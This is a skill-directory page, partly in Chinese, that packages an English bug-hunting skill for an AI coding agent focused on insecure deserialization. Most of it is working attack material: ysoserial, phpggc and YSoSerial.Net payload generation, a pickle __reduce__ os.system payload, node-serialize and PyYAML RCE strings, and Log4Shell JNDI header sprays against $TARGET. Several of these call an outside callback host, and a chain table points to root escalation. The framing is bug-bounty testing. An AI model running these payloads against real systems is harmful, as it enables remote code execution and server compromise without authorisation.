使用方法
- 复制安装命令，在自己的智能体环境安装前先检查源码包。
- 从原始文档核对所需工具、凭据和支持的宿主。
- 说明输入材料与期望交付物，并对照来源检查输出。
npx skills add https://github.com/elementalsouls/claude-bughunter --skill hunt-deserialization开始前需了解
- 安装不包含模型订阅、API 额度或访问文件的权限。
- 仓库星数和安装量反映活跃情况，不等于独立质量或安全测试。
仓库原始内容
按源仓库内容呈现，保留标题、案例、代码、表格、链接以及原文引用的演示图片。
HUNT-DESERIALIZATION — Insecure Deserialization
Crown Jewel Targets
Deserialization bugs are almost always Critical — they lead directly to RCE without prerequisite conditions.
Highest-value chains:
- Java ysoserial gadget chains — CommonsCollections, Spring, JNDI, Groovy gadgets → full OS command execution
- PHP Object Injection —
__wakeup/__destructmagic methods → file write / RCE - Python pickle —
pickle.loads(attacker_data)→__reduce__→os.system('id') - .NET BinaryFormatter — TypeConfuseDelegate gadget chain → RCE
- Ruby Marshal.load — Gem::Requirement, Gem::Installer gadgets → RCE
- JNDI injection — Log4Shell pattern:
${jndi:ldap://attacker/a}→ class load → RCE
Attack Surface Signals
Detection Patterns
bash
# Java serialized objects start with AC ED 00 05 (hex) or rO0A (base64)
echo "rO0ABXQ=" | base64 -d | xxd | head -1 # shows: ac ed 00 05
# PHP serialization: O:8:"stdClass":0:{}
# Python pickle: starts with \x80\x04 (protocol 4) or \x80\x02
# Apache Shiro: rememberMe cookie present
curl -sI https://$TARGET/ | grep -i "Set-Cookie.*rememberMe"
# Log4j: test user-controlled fields for JNDI interpolation
curl -H 'User-Agent: ${jndi:dns://COLLAB_HOST/a}' https://$TARGET/Header / Cookie Signals
Content-Type: application/x-java-serialized-object
Cookie containing rO0= prefix (Java base64 serialized)
Cookie: rememberMe= (Apache Shiro)
Cookie: _VIEWSTATE (ASP.NET ViewState without encryption)
Endpoints: /remoting/, /invoker/, /jmx-console/, /wls-wsat/Step-by-Step Hunting Methodology
Phase 1 — Java Deserialization (ysoserial)
bash
# Install ysoserial
wget https://github.com/frohoff/ysoserial/releases/latest/download/ysoserial-all.jar
# Generate OOB detection payload
java -jar ysoserial-all.jar CommonsCollections6 \
'curl http://COLLAB_HOST/ysoserial' | base64 -w0
# Send as body or cookie
java -jar ysoserial-all.jar CommonsCollections6 'id > /tmp/pwned' | base64 | \
curl -s https://$TARGET/wls-wsat/CoordinatorPortType \
-H "Content-Type: application/x-java-serialized-object" \
--data-binary @-
# Apache Shiro exploit (default AES key)
python3 shiro_exploit.py -u https://$TARGET/ -c "id"Phase 2 — PHP Object Injection
bash
# Find unserialize() calls in source
grep -r "unserialize(" --include="*.php" .
# Inject test: O:8:"stdClass":1:{s:4:"test";s:5:"value";}
# Send in cookie, POST param, or hidden form field
# If error changes → deserialization confirmed
# Craft gadget chain using phpggc
git clone https://github.com/ambionics/phpggc
php phpggc -l # list chains
php phpggc Laravel/RCE5 system id | base64Phase 3 — Python Pickle
bash
# Generate OOB payload
python3 -c "
import pickle, os, base64
class Exploit(object):
def __reduce__(self):
return (os.system, ('curl http://COLLAB_HOST/pickle-rce',))
print(base64.b64encode(pickle.dumps(Exploit())).decode())
"
# Send as cookie or POST body
curl -s https://$TARGET/api/load-model \
-H "Content-Type: application/octet-stream" \
--data-binary @payload.pklPhase 3b — PHP phar://, Python YAML, Node deserialization
- PHP phar:// (no `unserialize()` call) — any filesystem function (
file_exists/fopen/getimagesize) on aphar://path deserializes the archive metadata -> object injection with zerounserialize()in code.
bash
phpggc -p phar -o poly.jpg Monolog/RCE1 system id # valid-image + phar polyglot
# then reach phar://uploads/poly.jpg/x via any fs call- Python `yaml.load()` (CVE-2017-18342) — pre-5.1 default-unsafe:
!!python/object/apply:os.system ['curl http://$COLLAB/yaml']
- Node `node-serialize` (CVE-2017-5941) — IIFE marker in any field passed to
unserialize():
{"rce":"_$$ND_FUNC$$_function(){require('child_process').exec('curl http://$COLLAB/node')}()"}
Phase 4 — .NET ViewState
bash
# Check if ViewState is unsigned (MAC disabled)
# Look for __VIEWSTATE in HTML source without __VIEWSTATEMAC
# YSoSerial.Net
dotnet YSoSerial.exe -f BinaryFormatter -g TypeConfuseDelegate \
-c "cmd /c curl http://COLLAB_HOST/viewstate-rce" -o base64Phase 5 — Log4Shell / JNDI
bash
# Test all user-controlled inputs
COLLAB="COLLAB_HOST"
for HEADER in "User-Agent" "X-Forwarded-For" "Referer" "X-Api-Version" "Accept-Language"; do
curl -s https://$TARGET/ -H "$HEADER: \${jndi:dns://$COLLAB/$HEADER}" &
done
# Test POST body fields
curl -s -X POST https://$TARGET/api/login \
-H "Content-Type: application/json" \
-d "{\"username\": \"\${jndi:ldap://$COLLAB/a}\"}"Phase 6 — Ruby Marshal
bash
# Look for Marshal.load in source
grep -r "Marshal.load\|Marshal.restore" --include="*.rb" .
# Gem::Requirement gadget chain via marshalable objects
# Use ruby-advisory-db gadgetsChain Table
| Deserialization signal | Chain to | Impact |
|---|---|---|
| Any deser RCE | /etc/passwd + id output | Prove arbitrary command execution |
| RCE as low-privilege user | Find SUID binaries / sudo rules | Privilege escalation → root |
| Blind RCE (OOB callback) | DNS callback → confirm exec | Sufficient for Critical PoC |
| Log4Shell | LDAP → JNDI → class load | Full RCE on JVM process |
Automation
bash
# OOB listener
interactsh-client -v -n 5
# JNDI exploit kit
git clone https://github.com/pimps/JNDI-Exploit-KitValidation
✅ DNS/HTTP callback from COLLAB host: blind deserialization confirmed ✅ Command output in response: full RCE confirmed
Severity: Almost always Critical — RCE with server process privileges.
